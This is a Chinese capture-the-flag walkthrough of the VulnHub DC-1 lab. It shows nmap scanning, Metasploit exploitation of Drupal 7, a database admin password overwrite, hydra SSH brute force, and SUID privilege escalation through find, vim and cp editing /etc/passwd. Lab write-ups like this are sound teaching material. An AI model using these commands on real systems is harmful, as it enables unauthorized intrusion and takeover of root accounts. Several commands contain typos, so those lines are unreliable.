vulnhub靶场记录DC-1

靶机描述

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

靶场搭建

下载路径

https://download.vulnhub.com/dc/DC-1.zip

使用vmware——文件——打开——导入DC-1.ova——创建靶机

渗透靶场

一.信息搜集(寻找真实ip 探端口及服务)

目标探测,如:扫描域名、IP、开放端口、确认其使用的软件版本、框架版本等

我们只需要创建好靶机就可以了 不需要进行登陆 在渗透过程中 不需要登陆root用户 但是需要root权限

image-20231031191735196

由于我们刚刚对于靶机的网络设置是NAT模式 所以靶机是自动获得IP 且和kali是在同一局域网下

image-20231031191903572

image-20231031192114585

可以看到 我们现在kali的ip是192.168.160.131 那么我们可以使用nmap扫描kali的c段中存活的主机 来找到靶机的真实ip

nmap 192.168.160.0/24

-sP:向目标发送 TCP ACK 的包,如果有响应,则表明目标处于活动状态;

image-20231117174059741

找到靶机ip是192.168.160.146

接下来 在使用nmap探靶机开放的端口

nmap -T4 -sC -sV 192.168.160.146 或 nmap -A -p- -v 192.168.160.146

-sV 参数:探测端口上运行的软件;
-A 详细扫描
-T4 设定时间强度

image-20231031194656572

开放了22端口 存在ssh服务 OpenSSH版本6.0p1
开放了80端口 存在web服务 使用apche httpd版本2.2.22 使用了Drupal7(CMS开源框架 使用php语言编写)
开放了111端口 存在rpcbind服务器

这一步的操作使用

whatweb -v 192.168.160.146

也可以进行CMS识别

image-20231031195321754

二.信息分析

开启了ssh服务 也许有弱口令 可以尝试爆破

Drupal有公开的RCE漏洞 可以尝试进行验证利用

三.访问web站点

访问刚刚扫出来的web站点 是Drupal

192.168.160.146

image-20231031200028158

使用wappalyzer插件查看网站的相关配置 发现和刚刚扫出来的配置是一样的

四.利用MSF(msfconsole)进行渗透

1.msfconsole命令介绍

msfconsole		进入MSF控制台
search 			搜索相应模块
use           	对应模块
show options  	查看信息
set RHOST  		设置远程主机ip
run           	攻击(启动模块)
host            查看扫描记录
back  			停止攻击(退出模块)
save			保存模块配置
show exploits/payloads  查看所有攻击模块/查找所有攻击载荷

2.搜索Drupal7漏洞

searchsploit

先使用searchsploit Drupal 7搜索一下Drupal 7的漏洞 可以找到很多

searchsploit使用介绍

Exploit-db是Kali linux 官方团队维护的一个安全项目,存储了大量的漏洞利用程序,是公认的世界上最大的搜集漏洞的数据库。它的在线版本是https://www.exploit-db.com/ 。而searchsploit可以利用exploit-db提供的数据库进行离线搜索

image-20231031204251110

过滤一下 是7版本的漏洞

image-20231031204347126

3.使用msfconsole扫exp

msfconsole命令简单介绍

msfconsole		进入MSF控制台
search *		搜索相应模块
use *          	对应模块
show options  	查看信息
set RHOST  		远程主机ip
run           	攻击
show info       查看模块的详细信息

image-20231105213954599

搜索drupal模块
search drupal

image-20231105214125065

选中模块

发现模块1是远程命令执行漏洞 使用模块1搞一下

use 1
show options   查看详细信息

image-20231117171533101

设置靶机ip运行msf
set RHOST 192.168.160.146  设置靶机ip
run                        开始攻击

image-20231117182012241

4.进入shell

exp运行成功 我们进入shell

shell

image-20231117183849319

5.flag1

进入目录 找到flag1

ls
cat flag1.txt

image-20231117183914026

Every good CMS needs a config file - and so do you.
翻译:每个优秀的内容管理系统(CMS)都需要配置文件,你也一样。

6.flag2

flag1的内容提示我们寻找配置文件

我们先使用python反弹一个交互式shell

python -c 'import pty; pty; pty.spawn("/bin/bash")'

image-20231117185938351

gpt做题法

image-20231117190400954

找到/var/www/sites/default/settings.php 查看内容 找到flag2 还找到了数据库的配置文件

image-20231117190903810

flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?

翻译:爆破和字典攻击并不是
获得访问权限的唯一方式(你需要访问权限) 
你能用这些证书做什么

7.flag3

进入数据库

flag2提示我们提升权限不能靠爆破和字典攻击 不知道上面提到的证书是什么意思

但是我们知道数据库的信息了 就先看一下数据库

mysql -udbuser -p
Enter password: R0ck3t

image-20231117192340717

进入后 查数据库 查表 查字段 查内容

show databases;
use drupaldb;
show tables;
show columns from users;
select name,pass from users;

可以找到admin用户的密码 但是一看就是加盐了

image-20231117200258507

没关系 直接改成弱密码123456就行了

但是再次之前 我们需要找到他的加密脚本 将加盐加密的123456放入数据库中

在/var/www/scripts/password-hash.sh

image-20231117205111604

$S$D/ckVXyCs7v65HPpFO/zG93O33n/wdyqQF7po2sOp07Dw5/I6X/P

再次进入数据库 更改密码

update users set pass='$S$D/ckVXyCs7v65HPpFO/zG93O33n/wdyqQF7po2sOp07Dw5/I6X/P' where name='admin';

image-20231117213946445

登入网页

使用admin/123456成功登陆

image-20231117214115213

翻找网页内容 找到flag3

image-20231117214212927

image-20231117214430542

flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
翻译:特殊的权限可以帮助找到密码,但你需要执行该命令才能知道如何获取shadow中的内容。

8.flag4

在/home文件夹中找到flag4

flag4
Can you use this same method to find or access the flag in root?                                                                                                                                                                                                 Probably. But perhaps it's not that easy.  Or maybe it is?
翻译:
你能用同样的方法找到或访问 root 中的flag吗?                                                                                                                                                                                                
也许可以。但也许没那么容易。 又或许可以?

image-20231119162704880

flag3中提到shadow文件 但是一般情况来讲 查看shadow文件都需要使用root权限

我们可以看到 现在是www-data权限 查看shadow文件 权限不够

image-20231118204944510

但是我们可以查看passwd文件 可以看到确实是有flag4这个用户

image-20231119163126120

hydra

这里学到一点 可以尝试使用hydra进行密码爆破 这里我们使用password.lst字典进行爆破

hydra -l flag4 -P /home/kali/Desktop/brutehash/password.lst ssh://192.168.160.146

-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址

image-20231119172333588

爆破出flag4的密码是orange

image-20231119172417992

登录成功 拿到flag4权限

9.thefinalflag

suid提权

由flag4的提示 我们得知在/root文件夹中还有一个flag 但是我们现在并没有root权限

由flag3的内容当作提示 我们想到需要进行权限的提升 在提示中提到了-exec命令 想到suid提权 在这里我们使用find命令

suid
suid是一种对二进制程序(我们执行的命令就是一种二进制程序)设置的特殊权限 设置了suid权限的程序 在用户执行该程序时 用户的权限是该程序属主的权限 如果程序属主是root权限 那么执行该程序的用户就将暂时获得root权限
要注意:
1. SUID权限只能设置二进制文件
2. 命令执行者要有二进制文件的执行权
3. 命令执行者执行二进制文件时会获得该程序的属主身份
4. SUID权限只在程序执行中有效
find
一、按名称或正则表达式查找文件
格式:find . -name test.txt     // .符号代表路径 test.txt的位置放想要查找的文件名字
find . -name "*.txt"           // 使用正则表达式 查找所有txt文件
find . -type f -name "*.txt"   // 最好还是使用-type指定查找普通文件 以使所有内容更清晰

// -type参数的一些用法
字母	文件类型
b	block (buffered) special
c	character (unbuffered) special
d	directory(目录)
p	named pipe (FIFO)(命名管道)
l	symbolic link; this is never true if the -L option or the -follow option is in effect, unless the symbolic link is broken.       If you want to search for symbolic links when -L is in effect, use -xtype. (软连接;如果-L或者-follow选项生效,这个字母就不能用,除非     软连接断开了。如果你想在-L生效的时候,搜索软连接,使用-xtype选项)
f	regular file(普通文件)
s	socket
D	door (Solaris)
//

二、查找不同类型的文件
我们可以使用不同的-type参数 来查找不同类型的文件 
find . -type d -name "w3n*"    // 使用 d 参数 查找所有名字中含有 w3n 的目录
find . -type l -name "w3n*"    // 使用 l 参数 查找所有名字中含有 w3n 的符号链接

三、按特定的时间戳查找文件
linux中三种不同的时间戳:
访问时间戳(atime):最后一次读取文件的时间
修改时间戳(mtime):文件内容最后一次修改时间
更改时间戳(ctime):上次更改文件元数据的时间 例如所有权、位置、文件类型等

+ 是大于 -是小于
find . -type f -atime +365    // 查找最后一次访问时间超过一年的文件
find . -type f -mtime 5       // 查找最后一次修改时间为5天前的文件
find . -type f -ctime +5 -ctime -10  // 查找上次更改元数据时间为5到10天前的文件

四、按大小查找文件
-size参数可以帮助我们按照文
b: 512 字节(默认)
c: 字节
w: 两字节字
k: 千字节
M: 兆字节
G: 千兆字节件大小来进行查找
find . -type f -size +10M -size -1G   // 查找文件大小大于10M 小于1G的文件

五、按权限查找文件
-perm可以帮助我们按特定权限查找文件

//常见的权限数字
444 r--r--r--
600 rw-------
644 rw-r--r--
666 rw-rw-rw-
700 rwx------
744 rwxr--r--
755 rwxr-xr-x
777 rwxrwxrwx
从左至右,
1-3位数字代表文件所有者的权限,
4-6位数字代表同组用户的权限,
7-9数字代表其他用户的权限。
读取权限:等于4 用 r 表示
写入权限:等于2 用 w 表示
执行权限:等于1 用 x 表示
eg.
755 
7: 4+2+1 文件所有者拥有读取、写入、执行权限
5:4+0+1 同组用户拥有读取、执行权限
5:4+0+1 其他用户拥有读取、执行权限
//

find . -type f -perm 777   // 查找所有具有777权限的文件 这意味着这些文件对其所有者、组和所有用户具有所有的读、写和可执行权限

六、按所有权查找文件
-user可以让我们按照所有权查找文件
find . -type f -user w3nx1z1  // 查找所有所有权是w3nx1z1的文件

七、找到文件后执行命令
使用-exec
在Linux中,exec是一个用于替换当前进程的系统调用 当一个进程调用exec时,它会被一个新的程序所替代,而新程序将从其main函数或入口点开始执行。这意味着原始进程的代码、数据和堆栈都会被新程序的相应部分所取代,从而实现了进程的自我替换。
在使用-exec命令时 必须要注意严格遵守以下格式: -exec 命令 {} \;
find . -type f -atime +5 -exec ls {} \;    // 查找所有最后访问时间超过5天的文件 并将其列出
find . -type f -atime +365 -exec rmm -rf {} \;  // 查找所有最后访问时间超过一年的文件 并将其删除
find /etc -type f -name "passwd" -exec grep "root" {} \;   // 查找在/etc文件夹下名为"passwd"的文件 并使用grep查找其中是否有名为"root"的用户

现在我们已经了解了一点关于suid提权的基本内容 再来看一下suid提权的具体操作

设置/去掉suid
chmod u+s filename 设置suid位
chmod u-s filename 去掉suid位
查找suid
find / -type f -perm -u=s(或者-4000) 2>/dev/null
find命令提权

如果find命令不是suid权限 先给find命令设置suid权限

chmod u+s /bin/usr/find

进行提权

find 已有文件名 -exec whoami \;
vim命令提权

赋予vim suid权限

chmod u+s /bin/vim

使用vim在/etc/sudoers中创建一个用户

vim /etc/sudoers

格式和root用户一样

image-20231119155142302

su - test
sudo bash
whoami

image-20231119155218610

cp命令提权

同样 先赋予/usr/bin/cp suid权限

chmod u+s /usr/bin/cp

拥有suid权限的程序会由rwx变为rws

image-20231119155819258

image-20231119155852911

使用cp将/etc/passwd复制到当前用户的文件夹下

image-20231119161306240

使用openssl生成一个密码

openssl passwd -1 -salt 1*2*3 abcd   // passwd参数代表生成一个密码,-1为md5,-salt指定盐(随意),最后要跟加密的值,也就是密码

image-20231119161458344

使用vim编辑./passwd 创建一个新用户 并将密码添加在其中 使用过:wq!强制保存

image-20231119160909564

再将这个./passwd复制回原来的位置

cp ./passwd /etc/passwd

此时在su abc输入密码abcd就是root用户了

image-20231119162038742

那么接下来 就使用find命令对靶场进行提权

首先使用find命令查找拥有suid权限的程序 在根目录下执行以下命令

find / -type f -perm -u=s 2>dev/null

image-20231119134236870

发现find命令是有suid权限的 那么我们就可以使用find来进行suid提权了

find / -type f -exec /bin/sh \;
whoami

成功root

image-20231119181109107

进入/root文件夹 找到thefinalflag.txt

image-20231119181153026

thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

结语

至此,靶场中的全部flag完全拿到了